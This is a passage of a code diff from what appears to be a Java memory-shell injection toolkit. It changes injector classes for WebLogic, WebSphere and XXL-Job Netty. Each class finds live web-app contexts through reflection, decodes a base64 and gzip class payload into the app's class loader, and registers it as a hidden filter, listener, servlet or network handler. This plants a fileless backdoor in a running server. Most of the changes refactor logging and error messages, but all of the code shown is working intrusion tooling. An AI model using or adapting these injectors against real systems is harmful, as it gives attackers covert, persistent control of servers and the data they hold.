@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
||||
for (Object obj : filters.keySet()) {
|
||||
if (obj.toString().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -252,6 +279,21 @@ public class WebLogicFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+69
-26
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -17,6 +18,9 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -26,15 +30,42 @@ public class WebLogicListenerInjector {
|
||||
}
|
||||
|
||||
public WebLogicListenerInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
static Object[] getContextsByMbean() throws Throwable {
|
||||
@@ -111,7 +142,7 @@ public class WebLogicListenerInjector {
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
public static Set<Object> getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
@@ -121,7 +152,7 @@ public class WebLogicListenerInjector {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
return webappContexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
@@ -135,36 +166,33 @@ public class WebLogicListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
Object eventsManager = getFieldValue(context, "eventsManager");
|
||||
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
System.out.println("listener inject successful");
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
List<Object> requestListeners = (List<Object>) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners");
|
||||
for (Object requestListener : requestListeners) {
|
||||
if (requestListener.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
Object eventsManager = getFieldValue(context, "eventsManager");
|
||||
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -234,6 +262,21 @@ public class WebLogicListenerInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -40,7 +40,6 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+61
-13
@@ -4,6 +4,7 @@ import javax.servlet.Servlet;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
@@ -18,6 +19,9 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -31,15 +35,42 @@ public class WebLogicServletInjector {
|
||||
}
|
||||
|
||||
public WebLogicServletInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
@@ -116,7 +147,7 @@ public class WebLogicServletInjector {
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
public static Set<Object> getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
@@ -126,7 +157,7 @@ public class WebLogicServletInjector {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
return webappContexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
@@ -179,12 +210,14 @@ public class WebLogicServletInjector {
|
||||
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
if (mapping == null) {
|
||||
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
|
||||
System.out.println("servlet inject successful");
|
||||
} else {
|
||||
System.out.println("servlet already injected");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -237,6 +270,21 @@ public class WebLogicServletInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -40,7 +40,6 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+68
-22
@@ -4,6 +4,7 @@ import javax.servlet.Filter;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -19,17 +20,8 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebSphereFilterInjector {
|
||||
public WebSphereFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -43,6 +35,45 @@ public class WebSphereFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public WebSphereFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.ibm.ws.webcontainer.webapp.WebAppImpl
|
||||
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
|
||||
@@ -84,22 +115,23 @@ public class WebSphereFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("filter already injected");
|
||||
Object webAppConfiguration = getFieldValue(context, "config");
|
||||
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -135,12 +167,11 @@ public class WebSphereFilterInjector {
|
||||
}
|
||||
// 清除缓存
|
||||
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
||||
System.out.println("filter injected successfully");
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Object webAppConfiguration = getFieldValue(context, "config");
|
||||
return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -216,7 +247,7 @@ public class WebSphereFilterInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -230,4 +261,19 @@ public class WebSphereFilterInjector {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+63
-13
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.websphere;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class WebSphereListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -23,15 +26,42 @@ public class WebSphereListenerInjector {
|
||||
}
|
||||
|
||||
public WebSphereListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
@@ -71,15 +101,17 @@ public class WebSphereListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
@@ -87,12 +119,15 @@ public class WebSphereListenerInjector {
|
||||
List<Object> listeners = (List<Object>) getFieldValue(context, "servletRequestListeners");
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
listeners.add(listener);
|
||||
System.out.println("listener injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -141,7 +176,7 @@ public class WebSphereListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -166,4 +201,19 @@ public class WebSphereListenerInjector {
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+67
-17
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.websphere;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
@@ -15,17 +16,8 @@ import java.util.zip.GZIPInputStream;
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class WebSphereServletInjector {
|
||||
public WebSphereServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -38,6 +30,44 @@ public class WebSphereServletInjector {
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
public WebSphereServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
@@ -76,26 +106,31 @@ public class WebSphereServletInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object config = getFieldValue(context, "config");
|
||||
Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
if (servletInfo != null) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
}
|
||||
invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null});
|
||||
System.out.println("servlet injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -143,7 +178,7 @@ public class WebSphereServletInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -168,4 +203,19 @@ public class WebSphereServletInjector {
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+54
-24
@@ -12,6 +12,7 @@ import io.netty.handler.timeout.IdleStateHandler;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
@@ -26,6 +27,8 @@ import java.util.zip.GZIPInputStream;
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -35,12 +38,26 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
|
||||
public XxlJobNettyHandlerInjector() {
|
||||
Object context = null;
|
||||
try {
|
||||
handlerClass = getShellClass();
|
||||
inject();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
handlerClass = getShellClass(context);
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private Class<?> handlerClass;
|
||||
@@ -65,8 +82,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
})));
|
||||
}
|
||||
|
||||
private Class<?> getShellClass() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
private Class<?> getShellClass(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
return classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
@@ -77,28 +94,26 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
}
|
||||
|
||||
public void inject() throws Exception {
|
||||
public Object getContext() throws Exception {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||
Object target;
|
||||
try {
|
||||
